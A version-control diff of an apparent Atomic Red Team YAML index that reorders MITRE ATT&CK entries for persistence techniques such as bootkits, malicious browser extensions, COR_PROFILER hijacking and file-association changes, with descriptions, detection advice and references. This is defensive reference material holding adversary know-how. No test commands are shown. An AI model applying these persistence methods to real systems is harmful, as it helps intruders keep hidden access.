-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Kernel: Kernel Module Load'
-      - 'Driver: Driver Load'
-      - 'Process: OS API Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547
+        external_id: T1547
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/564.html
+        external_id: CAPEC-564
+        source_name: capec
+      - source_name: Microsoft Run Key
+        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
+          12, 2014.
+        url: http://msdn.microsoft.com/en-us/library/aa376977
+      - source_name: MSDN Authentication Packages
+        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
+      - source_name: Microsoft TimeProvider
+        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
+      - source_name: Cylance Reg Persistence Sept 2013
+        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
+          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
+        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
+      - url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
+        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
+          Module Programming Guide. Retrieved April 6, 2018.
+        source_name: Linux Kernel Programming
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547
     atomic_tests:
     - name: Add a driver
@@ -43480,9 +44719,26 @@ persistence:
         name: command_prompt
   T1037:
     technique:
-      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Boot or Logon Initialization Scripts
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '2.1'
+      modified: '2021-04-27T19:58:02.332Z'
+      created: '2017-05-31T21:30:38.910Z'
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
       description: "Adversaries may use scripts automatically executed at boot or
         logon initialization to establish persistence. Initialization scripts can
         be used to perform administrative functions, which may often execute other
@@ -43493,145 +44749,105 @@ persistence:
         local credentials or an administrator account may be necessary. \n\nAn adversary
         may also be able to escalate their privileges since some boot or logon initialization
         scripts run with higher privileges."
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037
-        url: https://attack.mitre.org/techniques/T1037
-      - external_id: CAPEC-564
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/564.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-27T19:58:02.332Z'
-      created: '2017-05-31T21:30:38.910Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - macOS
-      - Windows
-      - Linux
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_version: '2.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037
+        external_id: T1037
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/564.html
+        external_id: CAPEC-564
+        source_name: capec
     atomic_tests: []
   T1542.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.003
-        url: https://attack.mitre.org/techniques/T1542/003
-      - external_id: CAPEC-552
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/552.html
-      - source_name: Mandiant M Trends 2016
-        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
-        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
-          March 5, 2019.
-      - url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
-        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
-          (Infographic). Retrieved November 13, 2014.
-        source_name: Lau 2011
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Bootkit
+      x_mitre_data_sources:
+      - 'Drive: Drive Modification'
+      x_mitre_version: '1.1'
+      modified: '2020-09-17T19:47:14.338Z'
+      created: '2019-12-19T21:05:38.123Z'
+      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
+      x_mitre_defense_bypassed:
+      - Host intrusion prevention systems
+      - Anti-virus
+      - File monitoring
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
 
         A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
 
         The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
-      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-17T19:47:14.338Z'
-      created: '2019-12-19T21:05:38.123Z'
-      x_mitre_defense_bypassed:
-      - Host intrusion prevention systems
-      - Anti-virus
-      - File monitoring
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
         of MBR and VBR and compare against known good samples. Report changes to MBR
         and VBR as they occur for indicators of suspicious activity and further analysis.
-      x_mitre_data_sources:
-      - 'Drive: Drive Modification'
-      x_mitre_platforms:
-      - Linux
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/003
+        external_id: T1542.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/552.html
+        external_id: CAPEC-552
+        source_name: capec
+      - url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
+        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
+          March 5, 2019.
+        source_name: Mandiant M Trends 2016
+      - source_name: Lau 2011
+        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
+          (Infographic). Retrieved November 13, 2014.
+        url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
     atomic_tests: []
   T1176:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1176
-        url: https://attack.mitre.org/techniques/T1176
-      - url: https://en.wikipedia.org/wiki/Browser_extension
-        description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January
-          11, 2018.
-        source_name: Wikipedia Browser Extension
-      - url: https://developer.chrome.com/extensions
-        description: Chrome. (n.d.). What are Extensions?. Retrieved November 16,
-          2017.
-        source_name: Chrome Extensions Definition
-      - url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
-        description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three
-          Years Fighting Malicious Extensions. Retrieved November 17, 2017.
-        source_name: Malicious Chrome Extension Numbers
-      - source_name: xorrior chrome extensions macOS
-        url: https://www.xorrior.com/No-Place-Like-Chrome/
-        description: Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved
-          April 27, 2021.
-      - url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
-        description: Brinkmann, M. (2017, September 19). First Chrome extension with
-          JavaScript Crypto Miner detected. Retrieved November 16, 2017.
-        source_name: Chrome Extension Crypto Miner
-      - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
-        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
-          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
-          BUSINESSES. Retrieved January 17, 2018.
-        source_name: ICEBRG Chrome Extensions
-      - url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
-        description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting.
-          Retrieved November 18, 2017.
-        source_name: Banker Google Chrome Extension Steals Creds
-      - url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
-        description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension
-          Steals All Posted Data. Retrieved November 16, 2017.
-        source_name: Catch All Chrome Extension
-      - url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
-        description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware
-          campaign operating covertly since 2012. Retrieved November 16, 2017.'
-        source_name: Stantinko Botnet
-      - url: https://kjaer.io/extension-malware/
-        description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might
-          get hacked by a Chrome extension. Retrieved November 22, 2017.'
-        source_name: Chrome Extension C2 Malware
+      type: attack-pattern
+      name: Browser Extensions
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'File: File Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-04-27T19:56:54.161Z'
+      created: '2018-01-16T16:13:52.465Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
 
@@ -43642,38 +44858,61 @@ persistence:
         Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.
 
         There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)
-      name: Browser Extensions
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-27T19:56:54.161Z'
-      created: '2018-01-16T16:13:52.465Z'
-      x_mitre_version: '1.2'
       x_mitre_contributors:
       - Chris Ross @xorrior
       - Justin Warner, ICEBRG
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'File: File Creation'
       x_mitre_detection: |-
         Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
 
         Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
 
         On macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1176
+        external_id: T1176
+        source_name: mitre-attack
+      - source_name: Wikipedia Browser Extension
+        description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January
+          11, 2018.
+        url: https://en.wikipedia.org/wiki/Browser_extension
+      - source_name: Chrome Extensions Definition
+        description: Chrome. (n.d.). What are Extensions?. Retrieved November 16,
+          2017.
+        url: https://developer.chrome.com/extensions
+      - source_name: Malicious Chrome Extension Numbers
+        description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three
+          Years Fighting Malicious Extensions. Retrieved November 17, 2017.
+        url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
+      - url: https://www.xorrior.com/No-Place-Like-Chrome/
+        description: Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved
+          April 27, 2021.
+        source_name: xorrior chrome extensions macOS
+      - source_name: Chrome Extension Crypto Miner
+        description: Brinkmann, M. (2017, September 19). First Chrome extension with
+          JavaScript Crypto Miner detected. Retrieved November 16, 2017.
+        url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
+      - source_name: ICEBRG Chrome Extensions
+        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
+          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
+          BUSINESSES. Retrieved January 17, 2018.
+        url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
+      - source_name: Banker Google Chrome Extension Steals Creds
+        description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting.
+          Retrieved November 18, 2017.
+        url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
+      - source_name: Catch All Chrome Extension
+        description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension
+          Steals All Posted Data. Retrieved November 16, 2017.
+        url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
+      - source_name: Stantinko Botnet
+        description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware
+          campaign operating covertly since 2012. Retrieved November 16, 2017.'
+        url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
+      - source_name: Chrome Extension C2 Malware
+        description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might
+          get hacked by a Chrome extension. Retrieved November 22, 2017.'
+        url: https://kjaer.io/extension-malware/
       identifier: T1176
     atomic_tests:
     - name: Chrome (Developer Mode)
@@ -43745,50 +44984,18 @@ persistence:
         name: manual
   T1574.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.012
-        url: https://attack.mitre.org/techniques/T1574/012
-      - source_name: Microsoft Profiling Mar 2017
-        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
-        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
-          24, 2020.
-      - source_name: Microsoft COR_PROFILER Feb 2013
-        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
-        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
-          and Attach. Retrieved June 24, 2020.
-      - source_name: RedCanary Mockingbird May 2020
-        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
-        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
-          May 26, 2020.
-      - source_name: Red Canary COR_PROFILER May 2020
-        url: https://redcanary.com/blog/cor_profiler-for-persistence/
-        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
-          for persistence. Retrieved June 24, 2020.
-      - source_name: Almond COR_PROFILER Apr 2019
-        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
-        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
-          Retrieved June 24, 2020.
-      - source_name: GitHub OmerYa Invisi-Shell
-        url: https://github.com/OmerYa/Invisi-Shell
-        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
-          2020.
-      - source_name: subTee .NET Profilers May 2017
-        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
-        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
-          Profilers. Retrieved June 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: COR_PROFILER
-      description: |-
-        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
-      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
       type: attack-pattern
+      name: COR_PROFILER
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-08-30T21:35:12.049Z'
+      created: '2020-06-24T22:30:55.843Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -43796,8 +45003,21 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-26T16:09:58.920Z'
-      created: '2020-06-24T22:30:55.843Z'
+      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
+      x_mitre_contributors:
+      - Jesse Brown, Red Canary
       x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
         monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
         COR_PROFILER_PATH that correspond to system and user environment variables
@@ -43810,20 +45030,39 @@ persistence:
         shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
         COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
         with COR_PROFILER environment variables.'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_contributors:
-      - Jesse Brown, Red Canary
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/012
+        external_id: T1574.012
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
+        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
+          24, 2020.
+        source_name: Microsoft Profiling Mar 2017
+      - url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
+        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
+          and Attach. Retrieved June 24, 2020.
+        source_name: Microsoft COR_PROFILER Feb 2013
+      - url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
+        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
+          May 26, 2020.
+        source_name: RedCanary Mockingbird May 2020
+      - url: https://redcanary.com/blog/cor_profiler-for-persistence/
+        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
+          for persistence. Retrieved June 24, 2020.
+        source_name: Red Canary COR_PROFILER May 2020
+      - url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
+        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
+          Retrieved June 24, 2020.
+        source_name: Almond COR_PROFILER Apr 2019
+      - url: https://github.com/OmerYa/Invisi-Shell
+        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
+          2020.
+        source_name: GitHub OmerYa Invisi-Shell
+      - url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
+        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
+          Profilers. Retrieved June 24, 2020.
+        source_name: subTee .NET Profilers May 2017
       identifier: T1574.012
     atomic_tests:
     - name: User scope COR_PROFILER
@@ -43952,14 +45191,27 @@ persistence:
         name: powershell
   T1546.001:
     technique:
-      created: '2020-01-24T13:40:47.282Z'
+      type: attack-pattern
       modified: '2020-01-24T13:40:47.282Z'
+      name: Change Default File Association
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T13:40:47.282Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
       description: "Adversaries may establish persistence by executing malicious content
         triggered by a file type association. When a file is opened, the default program
@@ -43979,54 +45231,41 @@ persistence:
         values of the keys listed are commands that are executed when the handler
         opens the file extension. Adversaries can modify these values to continually
         execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
-      name: Change Default File Association
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.001
-        url: https://attack.mitre.org/techniques/T1546/001
-      - external_id: CAPEC-556
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/556.html
-      - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
-        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
-          Retrieved July 26, 2016.
-        source_name: Microsoft Change Default Programs
-      - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
-        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
-          Retrieved November 13, 2014.
-        source_name: Microsoft File Handlers
-      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
-        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
-          7, 2018.
-        source_name: Microsoft Assoc Oct 2017
-      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
-        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
-          8, 2018.
-        source_name: TrendMicro TROJ-FAKEAV OCT 2012
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
 
         User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.
 
         Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/001
+        external_id: T1546.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/556.html
+        external_id: CAPEC-556
+        source_name: capec
+      - source_name: Microsoft Change Default Programs
+        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
+          Retrieved July 26, 2016.
+        url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
+      - source_name: Microsoft File Handlers
+        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
+          Retrieved November 13, 2014.
+        url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
+      - source_name: Microsoft Assoc Oct 2017
+        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
+          7, 2018.
+        url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
+      - source_name: TrendMicro TROJ-FAKEAV OCT 2012
+        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
+          8, 2018.
+        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
       identifier: T1546.001
     atomic_tests:
     - name: Change Default File Association
